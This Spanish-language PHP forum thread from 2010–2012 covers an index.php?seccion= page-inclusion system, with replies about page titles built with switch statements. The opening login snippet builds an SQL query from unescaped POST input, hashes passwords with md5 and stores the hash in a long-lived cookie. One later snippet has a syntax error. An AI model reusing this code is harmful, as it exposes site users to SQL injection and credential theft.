if (isset($_POST['action']) == "checkdata2") {
if (($_SESSION['tmptxt']) == ($_POST['tmptxt'])) {
if($usuario = NULL || $password == NULL)
 {
   echo 'ERROR';
 }
else
 {
   $usuario = $_POST['usuario'];
   $password = $_POST['password'];
   $password = md5($password);
   $consulta = mysql_query("SELECT * FROM usuarios WHERE nick='$usuario' AND password='$password'",$conexion) or die ("Error");
$resultado = mysql_num_rows($consulta);
if($resultado != '1')
{
  echo "<center></p><b>Datos del usuario <b>".$usuario."</b> no encontrados o incorrectos.</b></p></center>";

}

if($resultado == '1')
  { ob_start();
      setcookie("usNick",$usuario,time()+7776000);
      setcookie("usPass",$password,time()+7776000);
      header('location: index.php');
     } 
  }
}else{
echo "<center><p>Verificacion incorrecta.</p></center>";} 
}
?>

<form name="form1" id="form1" method="post" action="<?php echo $PHP_SELF;?>">
<p>
<input name="usuario" type="text" value="nombre..." />
</p>
<p>
<input name="password" type="password" value="contra" />
</p>
<p> <div align="left"><img src="registro/captcha.php"></div> </p>
<p> <input  maxlength="7" type="text" name="tmptxt"></p>
<p>
<input type="submit" name="Submit" value="Entrar" />
<input name="action" type="hidden" value="checkdata2">
</p>
</form>
</li>

¿Hay alguna forma de solucionar esto o este sistema no funciona? Porque he buscado y no he dado con la solución.
Muchas gracias.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: jerry699 en 07 de Agosto de 2010, 00:27:37 am
Me respondo yo, alfinal he decicido utilizar sesiones y parece que funciona.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: arvillo en 22 de Octubre de 2010, 04:35:29 am
Hola mira, Te recomiendo que le quites los Inludes donde sale principal.php por que si alguien tiene una pagina que se llame principal.php donde ponga el codigo le va a salir la pagina ok, y Gracias por el Codigo.
bueno solo eso queria decir.  :star: :bstar: :rstar:
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Mannuel en 02 de Noviembre de 2010, 04:48:33 am
¡Gracias por el sistema! funciona de maravilla :D
Ahora, me surgieron un par de dudas:

Si por ejemplo quiero que los usuarios sólo puedan entrar por "www.sitio.com/index.php?seccion=prueba" y no por "www.sitio.com/prueba.php" ¿Cómo tendría que hacer?

También cree un pequeño código para que el título concuerde con la página en la que se está actualmente, esto claro, con el ejemplo que posteó TLX (Gracias también :)), el título concuerda pefectamente y se muestra bien, pero al ver el código fuente de la página, aparece lo siguiente:

Citar
<title>MiSitio ~ Home</title><title>P&aacute;gina no encontrada</title>

Este es el código que usé:
Citar
  if(empty ($_GET['seccion']))
echo "<title>MiSitio ~ Home</title>";
if($_GET['seccion'] == "ediciones")
echo "<title>MiSitio ~ Ediciones</title>";
if($_GET['seccion'] == "spots")
echo "<title>MiSitio ~ Spots</title>";
if($_GET['seccion'] == "galeria")
echo "<title>MiSitio ~ Galer&iacute;a</title>";
if($_GET['seccion'] == "comentario")
echo "<title>MiSitio ~ Deja un comentario</title>";
if($_GET['seccion'] == "acerca_de")
echo "<title>MiSitio ~ Acerca de MiSitio</title>";
if($_GET['seccion'] == "contacto")
echo "<title>MiSitio ~ Contacto</title>";
              else
         echo "<title>P&aacute;gina no encontrada</title>";     

Un saludo y gracias de antemano.   :-[
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: SoyJoaquin. en 02 de Noviembre de 2010, 05:05:45 am
¡Gracias por el sistema! funciona de maravilla :D
Ahora, me surgieron un par de dudas:

Si por ejemplo quiero que los usuarios sólo puedan entrar por "www.sitio.com/index.php?seccion=prueba" y no por "www.sitio.com/prueba.php" ¿Cómo tendría que hacer?

También cree un pequeño código para que el título concuerde con la página en la que se está actualmente, esto claro, con el ejemplo que posteó TLX (Gracias también :)), el título concuerda pefectamente y se muestra bien, pero al ver el código fuente de la página, aparece lo siguiente:

Este es el código que usé:
Un saludo y gracias de antemano.   :-[

Para que tantos if... Aparte, Puedes arreglarte la vida usando switch:
Código: [Seleccionar]
<?php
if(!empty($_GET[&#39;seccion&#39;])){
switch ($_GET[&#39;seccion&#39;]) {
    
case &#39;ediciones&#39;;
        
echo "<title>MiSitio ~ Ediciones</title>";
        break;
    case &
#39;spots&#39;;
        
echo "<title>MiSitio ~ Spots</title>";
        break;
    case &
#39;galeria&#39;;
        
echo "<title>MiSitio ~ Galer&iacute;a</title>";
        break;
    case &
#39;comentario&#39;;
        
echo "<title>MiSitio ~ Deja un comentario</title>";
        break;
    case &
#39;acerca_de&#39;;
        
echo "<title>MiSitio ~ Acerca de MiSitio</title>";
        break;
    case &
#39;contacto&#39;;
        
echo "<title>MiSitio ~ Contacto</title>";
        break;
}}else{
echo 
"<title>MiSitio ~ Home</title>";
}
?>

Saludos.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Mannuel en 02 de Noviembre de 2010, 05:18:36 am
¡Perfecto! Muchísimas gracias por tu pronta respuesta (: parece que deberé repasar el uso de "switch" jeje.
Ojalá que alguien pueda ayudarme a resolver mi otro interrogante :-[.

Un saludo y gracias nuevamente.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: SoyJoaquin. en 03 de Noviembre de 2010, 02:24:59 am
¡Perfecto! Muchísimas gracias por tu pronta respuesta (: parece que deberé repasar el uso de "switch" jeje.
Ojalá que alguien pueda ayudarme a resolver mi otro interrogante :-[.

Un saludo y gracias nuevamente.

Por lo de:
Citar
Si por ejemplo quiero que los usuarios sólo puedan entrar por "www.sitio.com/index.php?seccion=prueba" y no por "www.sitio.com/prueba.php" ¿Cómo tendría que hacer?

Es super fácil.
Lo que tienes es que hacer un if para saber si el get existe, Como vas a hacer include no afectaría en nada. Ejemplo:
Código: [Seleccionar]
<?php
if(isset($_GET[&#39;seccion&#39;])) {
?>

Aqui el contenido de la web...
<?php
}
?>


Saludos
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Warlox en 03 de Noviembre de 2010, 03:04:35 am
Por lo de:
Es super fácil.
Lo que tienes es que hacer un if para saber si el get existe, Como vas a hacer include no afectaría en nada. Ejemplo:
Código: [Seleccionar]
<?php
if(isset($_GET[&#39;seccion&#39;])) {
?>

Aqui el contenido de la web...
<?php
}
?>


Saludos

Pufff, eso es gasto innecesario de líneas, basta con poner un define en el index, y luego en cada archivo comprobar si se definió la variable...
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: SoyJoaquin. en 03 de Noviembre de 2010, 03:28:00 am
Pufff, eso es gasto innecesario de líneas, basta con poner un define en el index, y luego en cada archivo comprobar si se definió la variable...

Fue solo un ejemplo, Por las preguntas del usuario esta lógico que es novato en php.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Mannuel en 04 de Noviembre de 2010, 05:24:34 am
Fue solo un ejemplo, Por las preguntas del usuario esta lógico que es novato en php.

Es cierto jaja. Veré que puedo lograr con los ejemplos que me dieron para resolver mi segunda duda. Gracias a ambos ;).

SoyJoaquin., el primer código que me pasaste no mostraba el título para secciones que no existían, así que repasé el uso de switch y bueno, le hice un pequeño cambio y parece que funciona jaja. Este es el código, quizás le pueda servir a alguien:

Código: [Seleccionar]
if (!empty($_GET['seccion'])) {
switch ($_GET['seccion']) {
    case 'ediciones';
        echo "<title>MiSitio ~ Ediciones</title>";
        break;
    case 'spots';
        echo "<title>MiSitio ~ Spots</title>";
        break;
    case 'galeria';
        echo "<title>MiSitio ~ Galer&iacute;a</title>";
        break;
    case 'comentario';
        echo "<title>MiSitio ~ Deja un comentario</title>";
        break;
    case 'acerca_de';
        echo "<title>MiSitio ~ Acerca de MiSitio</title>";
        break;
    case 'contacto';
        echo "<title>MiSitio ~ Contacto</title>";
        break;
    default:
    echo "<title>P&aacute;gina no encontrada</title>";


} else {
echo "<title>MiSitio ~ Home</title>";
}   
?>                                                 

Un saludo.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: judoka en 26 de Diciembre de 2010, 22:23:04 pm
Lo que yo uso es parecido, pero en el informacion.php lo hago de esta forma:

<?PHP
 // // //  Este script ha sido creado por Guillermo López Martínez \\ \\ \\
 
switch ($_GET["pag"]){ /*el "pag" si se sustituye será el nombre de la paginacion en este caso: index.php?pag=SECCION*/

//Ver noticia
    case 'Ver'; //si en la paginacion ponemos ver tendremos esto almacenado
   $incluir = 'modulos/noticias/ver.php'; //esto lo ponemos en donde aparece la pag
   $seccion = 'Noticiasaa'; //eso puede servir por ejemplo para el title de la pag
   break;

//Noticias
    case 'Noticias';
   $incluir = 'modulos/noticias.php';
   $seccion = 'Noticias';
   break;
   
//Modulo x defecto. es el modulo que se verá cuando iniciamos index.php a secas
default:
  $incluir = 'modulos/index.php';
  $seccion = 'Home';
}
?>
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: oscarbsafy98 en 03 de Junio de 2012, 09:34:42 am
Buen tutorial, gracias  :star:
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Wold en 11 de Octubre de 2012, 03:49:01 am
Muy bueno ! gracias